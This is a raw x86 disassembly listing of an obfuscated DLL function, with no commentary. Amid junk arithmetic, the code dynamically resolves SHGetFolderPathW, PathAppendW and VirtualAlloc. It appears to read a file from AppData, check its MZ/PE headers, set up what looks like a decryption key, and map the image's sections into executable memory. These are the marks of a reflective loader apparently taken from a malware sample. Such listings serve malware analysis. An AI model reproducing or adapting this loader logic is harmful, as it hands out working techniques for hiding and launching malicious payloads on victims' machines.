sbb ecx, ecx
xor dx, dx
inc ecx
cmp dx, ax
sbb eax, eax
inc eax
cmp eax, ecx
je 0x1000ac39
movzx eax, byte [esp + 0x50]
mov edi, 0x18cf
movzx ecx, byte [0x1000e060]
imul ecx, eax
movzx eax, byte [0x1000e040]
imul eax, eax, 0x9c
not al
sub al, cl
mov ecx, dword [esp + 0xac]
sub cl, byte [esp + 0x64]
add cl, byte [0x1000e016]
or cl, al
mov byte [0x1000e002], cl
nop dword [eax]
nop dword [eax + eax]
mov eax, dword [0x1000e064]
add eax, 0xaad7a8ea
or dword [esp + 0x74], eax
movsx eax, word [0x1000e07c]
cdq
mov ecx, eax
mov esi, edx
movsx eax, byte [0x1000e004]
cdq
sub eax, ecx
mov ecx, dword [0x1000e088]
sbb edx, esi
mov esi, dword [0x1000e08c]
add ecx, eax
mov dword [0x1000e028], ecx
adc esi, edx
mov dword [0x1000e02c], esi
sub edi, 1
jne 0x1000abf0
jmp 0x1000ac55
test edi, edi
je 0x1000ac55
movzx eax, byte [0x1000e001]
cdq
add eax, 0x2324
mov dword [esp + 0x20], eax
adc edx, 0
mov dword [esp + 0x24], edx
movsx eax, byte [0x1000e017]
mov esi, 0x17e7
mov ecx, dword [0x1000e008]
and eax, 0x3d
mov dword [0x1000e058], eax
mov eax, dword [0x1000e00c]
mov byte [esp + 0xcf], 0x45
mov byte [esp + 0xd2], 0x72
mov edx, 0x1bb
nop dword [eax]
add ecx, 1
adc eax, 0
sub edx, 1
jne 0x1000ac90
mov dword [0x1000e00c], eax
mov dword [0x1000e008], ecx
sub esi, 1
jne 0x1000ac84
movsx eax, byte [esp + 0x12]
mov ecx, 0x5580
movsx edx, byte [esp + 0x13]
not eax
imul edx, eax
movzx eax, byte [esp + 0x11]
mov byte [esp + 0xce], 0x6c
mov byte [esp + 0xd3], 0x79
neg edx
sbb edx, edx
sub cx, ax
mov eax, dword [esp + 0x84]
inc edx
movzx eax, ax
movzx ecx, cx
imul ecx, eax
sub dx, cx
mov word [esp + 0x14], dx
mov al, byte [0x1000e002]
movzx eax, al
add ax, word [esp + 0x14]
mov ecx, dword [0x1000e060]
mov word [esp + 0x14], ax
mov eax, ecx
not eax
mov byte [esp + 0xcc], 0x44
test eax, eax
mov ax, word [esp + 0x3c]
mov word [esp + 0x70], ax
je 0x1000ad92
cmp dword [esp + 0x2c], ecx
jbe 0x1000ad5f
imul eax, dword [0x1000e05c], 0xa71e93b4
mov ecx, dword [esp + 0x78]
sub ecx, 0xe5d8a848
mov dword [0x1000e050], eax
mov eax, dword [esp + 0x7c]
sbb eax, esi
mov dword [0x1000e054], esi
add dword [0x1000e040], ecx
adc dword [0x1000e044], eax
jmp 0x1000ad92
test ax, ax
jne 0x1000ad92
movzx eax, byte [0x1000e016]
mov ecx, dword [0x1000e070]
cdq
sub ecx, eax
mov eax, dword [0x1000e074]
sbb eax, edx
xor dword [0x1000e070], ecx
xor dword [0x1000e074], eax
mov eax, 0x2d39
mov word [0x1000e024], ax
movsx eax, byte [esp + 0x1f]
cdq
mov ecx, eax
mov byte [esp + 0xcd], 0x6c
mov byte [0x1000e007], 0xfe
add ecx, 0x55fb83fe
movsx eax, byte [0x1000e007]
mov esi, edx
cdq
adc esi, 0x3340b
cmp eax, ecx
jne 0x1000ae00
cmp edx, esi
jne 0x1000ae00
movsx eax, byte [esp + 0x50]
add eax, 0xf75b
cdq
cmp dword [0x1000e040], eax
jne 0x1000ae00
cmp dword [0x1000e044], edx
jne 0x1000ae00
mov al, byte [0x1000e007]
sub esp, 0x38
mov ax, word [0x1000e024]
call fcn.10001920
mov dword [esp + 0x58], eax
add esp, 0x38
mov dword [esp + 0x24], edx
movsx ecx, byte [esp + 0x4e]
sub ecx, dword [0x1000e078]
add ecx, dword [0x1000e098]
mov byte [0x1000e007], 0xfe
mov eax, dword [esp + 0x38]
sub ecx, eax
mov eax, dword [0x1000e010]
sub ecx, eax
movzx eax, word [0x1000e014]
mov edi, dword [0x1000e098]
add eax, ecx
mov dword [esp + 0x40], eax
lea eax, [esp + 0xd8]
push str.SHGetFolderPathW
push eax
mov dword [esp + 0x4c], 0
mov byte [esp + 0xd8], 0x6e
mov dword [esp + 0x20], edi
mov byte [esp + 0xdc], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [esp + 0x30], 0x65
mov esi, eax
je 0x1000c73c
mov edx, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
cmp ecx, dword [0x1000e034]
ja 0x1000aeab
jb 0x1000ae95
cmp edx, dword [0x1000e030]
jae 0x1000aeab
mov eax, dword [esp + 0x88]
add eax, dword [0x1000e058]
mov dword [esp + 0x88], eax
jmp 0x1000aec7
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
or ecx, eax
je 0x1000aec7
mov dword [esp + 0x40], 0xed
mov dword [esp + 0x44], 0
mov byte [0x1000e001], 0x24
mov eax, dword [esp + 0x38]
mov al, byte [0x1000e001]
mov byte [0x1000e001], 0x24
mov dword [0x1000e010], 0x56
mov eax, dword [0x1000e05c]
imul eax, dword [esp + 0x88]
mov word [0x1000e068], ax
lea eax, [esp + 0x1e8]
push eax
push 0
push 0
push 0x1a
push 0
call esi
test eax, eax
js 0x1000c73c
mov eax, dword [0x10047e58]
mov dword [esp + 0x6c], eax
mov eax, dword [0x1000e030]
or eax, dword [0x1000e034]
je 0x1000af63
push dword [0x1000e00c]
mov ecx, 1
mov dword [0x1000e064], 8
push dword [0x1000e008]
sub ecx, edi
mov eax, 0
sbb eax, eax
push eax
push ecx
call fcn.1000cc80
mov dword [0x1000e008], eax
mov dword [0x1000e00c], edx
jmp 0x1000af90
cmp dword [0x1000e060], 0
je 0x1000af7f
mov ecx, dword [0x1000e02c]
mov eax, dword [0x1000e028]
mov dword [0x1000e074], ecx
jmp 0x1000af8b
mov eax, dword [0x1000e078]
cdq
mov dword [0x1000e074], edx
mov dword [0x1000e070], eax
mov eax, dword [esp + 0x6c]
sub esp, 8
add eax, 0x324
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x74]
add eax, 0x393
mov dword [esp + 0x88], eax
call fcn.10001000
add esp, 8
mov dword [0x1000e064], eax
cmp eax, 0x64
jae 0x1000afda
movsx eax, byte [esp + 0x4e]
add eax, 0x2f
mov byte [0x1000e006], 0x6a
cdq
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], edx
mov eax, dword [esp + 0x6c]
add eax, 0x3bf
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x80]
sub eax, dword [esp + 0x80]
cmp eax, dword [esp + 0x30]
je 0x1000c73c
add byte [0x1000e017], 0x5b
lea eax, [esp + 0xe4]
push str.PathAppendW
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
movsx ecx, byte [0x1000e007]
mov esi, eax
cmp ecx, dword [0x1000e020]
jae 0x1000b042
mov cx, word [esp + 0x14]
mov dl, 2
sub dl, cl
add byte [0x1000e004], dl
jmp 0x1000b064
mov eax, dword [0x1000e078]
movsx ecx, byte [esp + 0x1f]
and ecx, dword [0x1000e058]
add dword [0x1000e058], ecx
cdq
mov dword [0x1000e028], eax
mov dword [0x1000e02c], edx
lea eax, [esp + 0x168]
push eax
lea eax, [esp + 0x1ec]
push eax
call esi
mov ax, word [esp + 0x14]
lea edx, [esp + 0x188]
mov ecx, dword [0x1000e038]
add al, 0x20
mov word [esp + 0x94], ax
mov eax, dword [0x1000e03c]
movsx eax, byte [0x1000e003]
imul eax, ecx
xor ecx, ecx
cmp dword [0x1000e098], ecx
sete cl
mov dword [esp + 0x38], eax
movsx eax, byte [0x1000e004]
sub ecx, eax
movzx eax, byte [0x1000e016]
sub ecx, eax
mov eax, dword [esp + 0x38]
sub cl, al
mov byte [esp + 0x11], cl
lea ecx, [esp + 0x1e8]
call fcn.10004bb0
mov dword [esp + 0x64], eax
test eax, eax
je 0x1000c73c
mov edx, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
or edx, ecx
je 0x1000b102
movzx eax, word [esp + 0x14]
add eax, dword [0x1000e078]
mov dword [0x1000e094], eax
jmp 0x1000b157
cmp byte [0x1000e001], 0
je 0x1000b147
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
movzx eax, cx
movsx cx, byte [0x1000e004]
add cx, ax
mov ax, word [0x1000e07c]
not cx
add cx, word [esp + 0x84]
movzx ecx, cx
sub cx, ax
not cx
add cx, word [esp + 0x2c]
mov word [esp + 0x14], cx
jmp 0x1000b157
cmp word [esp + 0x14], 0
je 0x1000b157
mov eax, dword [esp + 0x78]
add dword [esp + 0x2c], eax
mov eax, dword [0x10047e58]
mov edi, 0x1a0
add dword [esp + 0x68], 0x1fd
mov dword [esp + 0x6c], eax
mov eax, dword [0x1000e070]
add eax, 0xfffffc61
mov word [esp + 0x14], ax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
shld eax, ecx, 1
add ecx, ecx
mov dword [esp + 0x38], ecx
mov eax, dword [esp + 0x6c]
add eax, 0xba
mov dword [esp + 0x30], eax
nop dword [eax + eax]
mov edx, dword [0x1000e028]
mov esi, dword [0x1000e02c]
mov eax, dword [0x1000e028]
sub edx, dword [esp + 0x78]
mov ecx, dword [0x1000e02c]
sbb esi, dword [esp + 0x7c]
add eax, edx
mov dword [0x1000e028], eax
adc ecx, esi
dec edi
mov dword [0x1000e02c], ecx
mov eax, dword [esp + 0x38]
inc eax
mov dword [esp + 0x38], eax
test edi, edi
jg 0x1000b1a0
mov eax, dword [esp + 0x6c]
add eax, 0x1c
mov dword [esp + 0xa8], eax
mov eax, dword [0x1000e05c]
sub al, 0x56
cmp word [0x1000e06c], 0
mov byte [section..data], al
je 0x1000b20e
movsx eax, byte [esp + 0x1f]
cdq
mov dword [0x1000e01c], edx
jmp 0x1000b21c
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
mov dword [0x1000e01c], ecx
mov dword [0x1000e018], eax
mov eax, dword [esp + 0x6c]
add eax, 0xac
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x6c]
imul eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x6c]
or ecx, 0x2e1
and ecx, eax
mov eax, dword [esp + 0x6c]
add eax, 0x8a
cmp eax, ecx
je 0x1000c73c
mov ax, word [esp + 0x94]
xor edx, edx
movzx ecx, byte [esp + 0x11]
movsx eax, al
cmp eax, ecx
setle dl
xor eax, eax
cmp byte [esp + 0x94], 0x3d
setle al
cmp edx, eax
ja 0x1000b331
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
push ecx
call fcn.10001140
cwde
add esp, 4
cdq
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], edx
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
or ecx, eax
je 0x1000b2ff
cmp dword [0x1000e030], 0x1420d0fb
jne 0x1000b2d0
cmp dword [0x1000e034], 0
jne 0x1000b2d0
mov dword [esp + 0x3c], 0xffffa1d0
mov ax, word [esp + 0x3c]
mov word [esp + 0x70], ax
jmp 0x1000b331
mov esi, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
push eax
push ecx
push edx
push esi
call fcn.1000cc80
mov ecx, dword [esp + 0x20]
mov esi, dword [esp + 0x24]
add ecx, eax
mov dword [esp + 0x20], ecx
adc esi, edx
mov dword [esp + 0x24], esi
jmp 0x1000b331
mov al, byte [esp + 0x12]
xor ecx, ecx
test al, al
mov eax, dword [esp + 0x2c]
not eax
sete cl
cmp eax, ecx
jbe 0x1000b331
mov ax, word [esp + 0x14]
sub al, 0x64
mov byte [0x1000e016], al
movsx eax, byte [esp + 0x13]
cdq
mov dword [0x1000e040], eax
mov dword [0x1000e044], edx
mov al, byte [0x1000e002]
mov esi, dword [esp + 0x188]
movsx eax, byte [0x1000e017]
mov dword [esp + 0x100], 0xea0bfeb
mov dword [esp + 0x104], 0x230c0c48
mov dword [esp + 0x108], 0x1004578b
mov dword [esp + 0x10c], 0xe0c573e7
mov dword [esp + 0x110], 0x3e543b6
mov dword [esp + 0x114], 0x76a7ac5b
mov dword [esp + 0x118], 0x1802e474
mov dword [esp + 0x11c], 0x35479d7
mov dword [esp + 0x120], 0x93641c28
mov dword [esp + 0x124], 0x3fe55fe8
mov dword [esp + 0x128], 0xe7346b40
mov dword [esp + 0x12c], 0xbb36b2ea
mov dword [esp + 0x130], 0x7d9bd9f1
mov dword [esp + 0x134], 0x1eaa4247
mov dword [esp + 0x138], 0x4f61e38b
mov dword [esp + 0x13c], 0x79c355b3
mov dword [esp + 0x30], 0xa2
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], 0x2d
mov word [esp + 0x50], ax
mov ecx, dword [0x1000e038]
mov eax, dword [0x1000e03c]
movzx eax, byte [0x1000e005]
mov byte [esp + 0x50], cl
mov word [esp + 0x50], ax
mov byte [esp + 0x50], 0x77
mov eax, dword [0x1000e038]
mov ecx, dword [0x1000e03c]
mov eax, 0xffffc473
mov dword [esp + 0x30], 0xb79d2fe6
mov word [esp + 0x50], ax
mov eax, dword [0x1000e064]
mov dword [esp + 0x30], 0xf1089569
mov dword [esp + 0x34], 0x60025
mov dword [esp + 0x30], 0xd2f040c2
mov dword [esp + 0x34], 0xcf908
mov word [esp + 0x50], ax
mov eax, dword [0x1000e060]
mov dword [esp + 0x30], eax
mov dword [esp + 0x30], 0x3f4
mov eax, dword [0x1000e038]
mov ecx, dword [0x1000e03c]
mov al, byte [section..data]
mov byte [esp + 0x50], al
mov eax, dword [0x1000e090]
mov byte [esp + 0x50], 0xc8
movzx eax, word [0x1000e068]
mov word [esp + 0x50], ax
mov byte [esp + 0x50], 0x35
movsx eax, byte [0x1000e007]
mov dword [esp + 0x30], eax
mov dword [esp + 0x30], 0xbc2dbd23
movzx eax, byte [0x1000e002]
cdq
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], edx
mov eax, dword [0x1000e010]
call fcn.100012d0
mov eax, dword [esp + 0x64]
push ecx
push eax
push esi
push eax
lea ecx, [esp + 0x110]
call fcn.10003630
imul eax, dword [0x1000e064], 0x4332
add esp, 0x10
mov dword [esp + 0x9c], 0
mov dword [esp + 0x2c], eax
movzx eax, word [0x1000e014]
mov ecx, dword [0x1000e018]
sub eax, 0x2cb2f209
mov dword [0x1000e038], eax
mov eax, dword [0x1000e01c]
shrd ecx, eax, 1
mov dword [0x1000e03c], 0
mov byte [esp + 0x13], cl
mov ecx, 0x5a4d
mov eax, dword [esp + 0x64]
cmp cx, word [eax]
jne 0x1000c725
movsx eax, byte [esp + 0x4f]
not eax
xor eax, dword [0x1000e010]
cdq
mov esi, eax
mov ecx, edx
movzx eax, byte [0x1000e005]
cdq
add eax, 0xffffff57
push ecx
push esi
adc edx, 0xffffffff
push edx
push eax
call fcn.1000cc80
or eax, edx
jne 0x1000b588
mov cl, 1
jmp 0x1000b58a
xor cl, cl
mov al, byte [esp + 0x13]
sub esp, 8
and al, cl
mov byte [esp + 0x1a], al
call fcn.10001000
add esp, 8
cmp dword [esp + 0x68], 0
je 0x1000b5c5
cmp word [0x1000e014], 0
movsx eax, byte [section..data]
jne 0x1000b5be
movzx eax, byte [0x1000e006]
mov dword [0x1000e078], eax
jmp 0x1000b5e0
mov al, byte [esp + 0x11]
movzx eax, byte [0x1000e005]
mov ecx, dword [esp + 0x88]
add ecx, eax
mov dword [esp + 0x88], ecx
mov ecx, dword [esp + 0x64]
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [esp + 0xa4], eax
cmp dword [eax], 0x4550
jne 0x1000c721
movsx eax, byte [esp + 0x1f]
push 0x2c35a
cdq
push 0xeed5fd3
push edx
push eax
mov byte [section..data], 4
call fcn.1000cc80
and dword [esp + 0x18], eax
xor eax, eax
mov edi, dword [esp + 0x74]
nop dword [eax]
nop dword [eax + eax]
mov byte [0x1000e001], 0x4b
movzx ecx, byte [0x1000e001]
movzx eax, word [0x1000e014]
add ecx, edi
cmp eax, ecx
jne 0x1000b69b
mov ecx, dword [0x1000e088]
movsx eax, byte [0x10025a3f]
mov esi, dword [0x1000e08c]
cdq
add ecx, eax
mov dword [0x1000e088], ecx
movsx ecx, byte [esp + 0x4e]
adc esi, edx
mov dword [0x1000e08c], esi
mov eax, dword [esp + 0x38]
not eax
sub eax, ecx
movsx ecx, byte [esp + 0x1f]
cdq
add ecx, 0xf75b
mov dword [esp + 0x78], eax
movsx eax, byte [0x1000e003]
mov dword [esp + 0x7c], edx
cmp eax, ecx
je 0x1000b630
mov al, byte [0x1000e002]
mov dl, 0x28
cmp byte [0x1000e001], al
mov al, byte [0x1000e002]
sbb ecx, ecx
inc ecx
cmp dl, al
sbb eax, eax
xor edx, edx
inc eax
cmp ecx, eax
jbe 0x1000b786
movsx ecx, byte [esp + 0x13]
mov eax, dword [0x1000e090]
cmp eax, ecx
mov eax, dword [0x1000e090]
setg dl
xor ecx, ecx
cmp eax, 0x3c
setg cl
cmp edx, ecx
jb 0x1000b70b
mov eax, dword [0x1000e070]
or eax, dword [0x1000e074]
jne 0x1000b6f1
lea edx, [eax + 1]
jmp 0x1000b6f3
xor edx, edx
mov ecx, dword [0x1000e050]
mov eax, dword [0x1000e054]
add ecx, edx
mov dword [0x1000e090], ecx
jmp 0x1000b7b5
mov eax, dword [0x1000e058]
mov esi, 0xa9
cdq
mov ecx, eax
mov eax, edx
mul esi
mov esi, eax
mov eax, ecx
mov ecx, 0xa9
mul ecx
add esi, edx
or eax, esi
je 0x1000b745
mov eax, dword [0x1000e010]
mov eax, dword [0x1000e090]
sub eax, dword [esp + 0x84]
mov dword [0x1000e090], eax
jmp 0x1000b7b5
cmp byte [esp + 0x13], 0
je 0x1000b757
xor eax, eax
test edi, edi
sete al
cmp edi, eax
ja 0x1000b7b5
movzx eax, byte [0x1000e016]
push 0xfffc7568
cdq
push 0x739296dd
push edx
push eax
call fcn.1000cc80
mov ecx, dword [esp + 0x58]
mov esi, dword [esp + 0x5c]
add ecx, eax
mov dword [esp + 0x58], ecx
adc esi, edx
mov dword [esp + 0x5c], esi
jmp 0x1000b7b5
movzx ecx, byte [0x1000e016]
mov eax, dword [esp + 0x38]
cmp ecx, eax
movsx eax, word [0x1000e07c]
setle dl
sub eax, edx
not eax
test eax, eax
je 0x1000b7b5
mov eax, dword [0x1000e05c]
mov eax, dword [esp + 0x88]
mov al, byte [esp + 0x13]
mov eax, dword [0x10047e58]
mov esi, 0x73
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x6c]
add eax, 0x2b5
mov dword [esp + 0x30], eax
sub esp, 8
call fcn.10001000
add esp, 8
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], edx
cmp edi, dword [0x1000e098]
jne 0x1000b81a
mov ecx, 0x230
nop dword [eax]
nop dword [eax + eax]
movsx eax, byte [0x1000e007]
dec ecx
add dword [0x1000e098], eax
inc byte [0x1000e005]
test ecx, ecx
jg 0x1000b800
jmp 0x1000b833
cmp byte [esp + 0x1f], 0
je 0x1000b833
mov ecx, dword [esp + 0x58]
mov eax, dword [esp + 0x5c]
shrd ecx, eax, 6
mov byte [0x1000e003], cl
mov al, byte [0x1000e002]
inc al
mov byte [0x1000e002], al
sub esi, 1
jne 0x1000b7d4
mov eax, dword [esp + 0x6c]
add eax, 0x1c5
mov dword [esp + 0x98], eax
mov eax, dword [0x1000e018]
or eax, dword [0x1000e01c]
jne 0x1000b866
lea edx, [esi + 1]
jmp 0x1000b868
xor edx, edx
mov al, byte [0x1000e002]
xor ecx, ecx
test al, al
cmove ecx, edx
and ecx, dword [0x1000e094]
movsx eax, byte [0x1000e007]
xor eax, ecx
cdq
mov dword [0x1000e050], eax
mov eax, dword [0x1000e060]
mov dword [0x1000e054], edx
mov word [0x1000e068], ax
mov eax, dword [esp + 0x6c]
add eax, 0xb0
mov dword [esp + 0x80], eax
mov eax, dword [esp + 0x98]
mov ecx, dword [esp + 0x80]
add eax, 0x217
mov edx, dword [esp + 0x80]
or ecx, eax
mov eax, dword [esp + 0x98]
or edx, ecx
add eax, dword [esp + 0x98]
cmp eax, edx
je 0x1000c721
mov eax, dword [0x1000e030]
or eax, dword [0x1000e034]
mov esi, dword [esp + 0x2c]
jne 0x1000b906
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
test eax, eax
jb 0x1000b906
ja 0x1000b901
cmp ecx, esi
jbe 0x1000b906
or edx, 0xffffffff
jmp 0x1000b90b
mov edx, 0xfffffffe
mov ecx, dword [0x1000e010]
movsx eax, byte [esp + 0x4f]
or ecx, eax
jne 0x1000b933
mov eax, dword [0x1000e040]
or eax, dword [0x1000e044]
je 0x1000b92f
cmp byte [0x1000e006], cl
jne 0x1000b933
xor eax, eax
jmp 0x1000b938
mov eax, 1
add eax, edx
not eax
test eax, eax
je 0x1000b951
mov al, byte [esp + 0x11]
xor al, 0xb7
movzx eax, al
mov word [0x1000e014], ax
jmp 0x1000b9ac
cmp byte [0x1000e017], 0
jne 0x1000b963
mov eax, 1
xor ecx, ecx
jmp 0x1000b974
xorps xmm0, xmm0
movlpd qword [esp + 0x30], xmm0
mov ecx, dword [esp + 0x34]
mov eax, dword [esp + 0x30]
cmp esi, eax
jne 0x1000b983
xor eax, eax
cmp eax, ecx
jne 0x1000b983
lea esi, [eax + 1]
jmp 0x1000b985
xor esi, esi
movzx ecx, byte [0x1000e006]
xor edx, edx
movsx eax, byte [esp + 0x4e]
cmp ecx, eax
setl dl
sub esi, edx
not esi
test esi, esi
je 0x1000b9ac
mov eax, dword [esp + 0x18]
sub al, 7
add byte [0x1000e003], al
mov al, byte [0x1000e080]
mov byte [esp + 0x50], al
lea eax, [esp + 0xf0]
push str.VirtualAlloc
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0xa4]
push 0x40
push 0x3000
push dword [ecx + 0x50]
push 0
call eax
mov edx, dword [esp + 0x74]
mov dword [esp + 0x54], eax
mov dword [0x1000e078], 0xae904d2f
lea ecx, [edx - 0x516fb2d1]
cmp dword [0x1000e048], ecx
jne 0x1000ba88
cmp dword [0x1000e04c], 0
jne 0x1000ba88
mov ax, word [esp + 0x94]
movsx esi, al
add esi, 0x6342f0e5
cmp dword [0x1000e098], 0
je 0x1000ba39
movsx eax, byte [esp + 0x12]
cdq
mov edx, dword [esp + 0x74]
mov ecx, eax
jmp 0x1000ba44
mov ecx, dword [0x1000e028]
mov eax, dword [0x1000e02c]
mov dword [esp + 0x38], ecx
mov al, byte [0x1000e001]
movzx eax, byte [0x1000e005]
cmp eax, esi
jne 0x1000ba84
mov al, byte [0x1000e003]
add al, 0x17
mov dword [0x1000e078], 0xae904d2f
mov byte [esp + 0x12], al
lea eax, [edx - 0x516fb2d1]
cmp dword [0x1000e048], eax
jne 0x1000ba84
cmp dword [0x1000e04c], 0
je 0x1000ba22
mov eax, dword [esp + 0x54]
test eax, eax
je 0x1000c721
mov cl, byte [esp + 0x4f]
mov al, byte [esp + 0x12]
mov esi, dword [esp + 0x7c]
sub cl, al
mov eax, dword [0x1000e010]
mov edi, dword [esp + 0x78]
push esi
cdq
push edi
push edx
push eax
mov byte [esp + 0x5f], cl
mov byte [esp + 0xb8], cl
call fcn.1000cc80
xor edi, eax
xor esi, edx
mov eax, dword [0x10047e58]
mov dword [esp + 0x6c], eax
mov al, byte [esp + 0x4e]
sub al, byte [section..data]
mov byte [esp + 0x4e], al
mov eax, dword [esp + 0x6c]
add eax, 0x63
mov dword [esp + 0x78], edi
mov dword [esp + 0xa0], eax
movsx ecx, word [0x1000e068]
movsx eax, word [esp + 0x3c]
mov dword [esp + 0x30], eax
not eax
mov edi, dword [esp + 0x30]
sub eax, ecx
cdq
mov dword [0x1000e028], eax
mov dword [0x1000e02c], edx
mov dword [0x1000e050], 4
mov dword [0x1000e054], 0
mov eax, dword [esp + 0x6c]
add eax, 0xb
mov dword [esp + 0x7c], esi
mov dword [esp + 0x80], eax
mov eax, dword [esp + 0x6c]
add eax, 0x206
mov dword [esp + 0xbc], eax
mov dword [0x1000e088], 0x6d
mov dword [0x1000e08c], 0
movsx eax, byte [esp + 0x12]
mov ecx, dword [0x1000e088]
mov esi, dword [0x1000e08c]
cdq
add ecx, eax
mov eax, dword [0x1000e038]
adc esi, edx
mov edx, dword [0x1000e03c]
cmp eax, ecx
jne 0x1000bb9e
cmp edx, esi
jne 0x1000bb9e
mov eax, edi
shl eax, 8
mov dword [esp + 0x38], eax
mov ecx, dword [esp + 0x38]
movzx eax, byte [0x1000e002]
add ecx, 0x5d88
cmp eax, ecx
je 0x1000bb43
mov ecx, dword [esp + 0x80]
imul ecx, dword [esp + 0x80]
mov eax, dword [esp + 0xa0]
add eax, dword [esp + 0xa0]
mov edi, dword [esp + 0x84]
cmp eax, ecx
je 0x1000c721
mov ecx, dword [esp + 0x58]
movsx eax, byte [section..data]
mov esi, dword [esp + 0x5c]
cdq
sub ecx, eax
mov eax, dword [esp + 0x78]
mov dword [esp + 0x58], ecx
sbb esi, edx
sub dword [0x1000e080], eax
mov eax, dword [esp + 0x7c]
sbb dword [0x1000e084], eax
mov eax, dword [esp + 0xa8]
movsx eax, al
mov dword [esp + 0x5c], esi
mov ecx, dword [esp + 0x40]
mov esi, dword [esp + 0x44]
cdq
add eax, ecx
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0xa4]
adc edx, esi
mov dword [esp + 0x44], edx
mov esi, 0x1dc
movzx eax, word [eax + 6]
mov dword [esp + 0xa8], eax
mov dword [esp + 0x30], eax
call fcn.100015c0
add dword [0x1000e080], 1
movzx eax, ax
adc dword [0x1000e084], 0
cdq
mov dword [esp + 0x90], eax
mov dword [esp + 0x8c], edx
sub esi, 1
jne 0x1000bc34
mov eax, dword [esp + 0xa4]
mov edx, dword [esp + 0x64]
mov ecx, dword [esp + 0x54]
movzx esi, word [eax + 0x14]
push dword [eax + 0x54]
add esi, eax
call fcn.100082a0
add esp, 4
cmp dword [0x1000e010], 0
jne 0x1000bccd
cmp dword [0x1000e018], 0xb71ab6d6
jne 0x1000bca0
cmp dword [0x1000e01c], 0
jne 0x1000bca0
xor ecx, ecx
jmp 0x1000bca5
mov ecx, 1
movzx eax, byte [0x1000e006]
cmp dword [0x1000e020], eax
sbb eax, eax
neg eax
cmp eax, ecx
jbe 0x1000bccd
mov eax, dword [0x1000e028]
mov ecx, dword [0x1000e02c]
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], ecx
mov ecx, dword [esp + 0x30]
xor eax, eax
cmp ax, cx
jae 0x1000be0b
movsx edx, byte [esp + 0x4e]
lea eax, [esi + 0x2c]
mov dword [esp + 0x18], eax
movzx eax, cx
mov dword [esp + 0x80], eax
imul eax, eax, 0x7d
mov dword [esp + 0xa0], edx
add dword [esp + 0x68], eax
imul eax, dword [esp + 0xa8], 0x39a
add dword [esp + 0x3c], eax
nop
mov esi, 0x7d
nop word [eax + eax]
movzx eax, byte [0x1000e006]
mov ecx, dword [0x1000e060]
not eax
imul eax, edi
add ecx, edx
xor eax, ecx
movzx ecx, byte [0x1000e002]
cdq
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x38]
add eax, ecx
mov dword [esp + 0x9c], edx
mov cl, byte [0x1000e002]
mov edx, dword [esp + 0xa0]
or cl, al
mov byte [0x1000e002], cl
sub esi, 1
jne 0x1000bd20
mov ecx, dword [0x1000e038]
mov esi, dword [0x1000e03c]
movsx eax, byte [0x1000e017]
cdq
sub ecx, eax
mov dword [0x1000e038], ecx
sbb esi, edx
mov dword [0x1000e03c], esi
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
or ecx, eax
je 0x1000bda1
mov ecx, dword [0x1000e088]
jmp 0x1000bda9
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
mov esi, dword [esp + 0x18]
mov byte [esp + 0x11], cl
mov eax, dword [0x1000e088]
mov ecx, dword [0x1000e08c]
mov ecx, dword [esp + 0x18]
mov esi, dword [esi - 8]
mov al, byte [esp + 0x2c]
add esi, dword [esp + 0x54]
add al, 0x22
mov edx, dword [ecx]
push dword [ecx - 4]
add edx, dword [esp + 0x68]
mov ecx, esi
mov byte [0x1000e005], al
call fcn.100082a0
add dword [esp + 0x1c], 0x28
add esp, 4
sub dword [esp + 0x80], 1
mov edx, dword [esp + 0xa0]
jne 0x1000bd10
mov si, word [esp + 0x3c]
mov word [esp + 0x70], si
jmp 0x1000be10
mov si, word [esp + 0x3c]
movsx ecx, word [0x1000e07c]
movzx eax, byte [0x1000e005]
cmp ecx, eax
jle 0x1000be51
movzx ecx, byte [0x1000e002]
mov eax, dword [0x1000e05c]
sub cl, al
mov eax, dword [esp + 0x8c]
mov byte [0x1000e002], cl
mov ecx, dword [esp + 0x90]
shld eax, ecx, 6
shl ecx, 6
mov dword [0x1000e020], ecx
mov eax, dword [esp + 0xa4]
mov ecx, dword [esp + 0x54]
mov edx, ecx
sub edx, dword [eax + 0x34]
call fcn.100045d0
mov eax, dword [0x1000e094]
mov edi, dword [esp + 0x40]
mov ecx, dword [0x1000e060]
sub ecx, eax
mov eax, dword [esp + 0x44]
mov eax, dword [esp + 0x54]
add edi, ecx
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, byte [0x1000e006]
imul eax, dword [0x1000e078]
cdq
mov dword [esp + 0x80], eax
mov eax, dword [ecx + 0x80]
add eax, dword [esp + 0x54]
mov dword [esp + 0xa0], edx
mov dword [esp + 0x30], eax
